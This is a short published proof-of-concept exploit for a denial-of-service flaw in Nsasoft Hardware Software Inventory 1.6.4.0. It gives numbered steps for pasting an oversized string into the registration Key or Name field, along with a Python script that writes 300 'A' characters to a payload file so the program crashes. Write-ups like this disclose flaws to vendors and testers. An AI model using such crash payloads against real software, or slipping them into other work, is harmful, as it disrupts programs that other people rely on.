# Exploit Title: Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC)
# Exploit Author : Enes Özeser
# Exploit Date: 2021-02-28
# Vendor Homepage : https://www.nsauditor.com/
# Link Software : https://www.nsauditor.com/downloads/nhsi_setup.exe
# Version: 1.6.4.0
# Tested on: Windows 10

# Steps: 
1- Run the python script. (payload.py)
2- Open payload.txt and copy content to clipboard.
3- Run 'Nsasoft Hardware Software Inventory 1.6.4.0'. 
4- Register -> Enter Registeration Code
5- Paste clipboard into the "Key" or "Name".
6- Click on OK.
7- Crashed.

---> payload.py <--

#!/usr/bin/env python
buffer = "\x41" * 300

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print "File created!" 
except:
    print "File cannot be created!"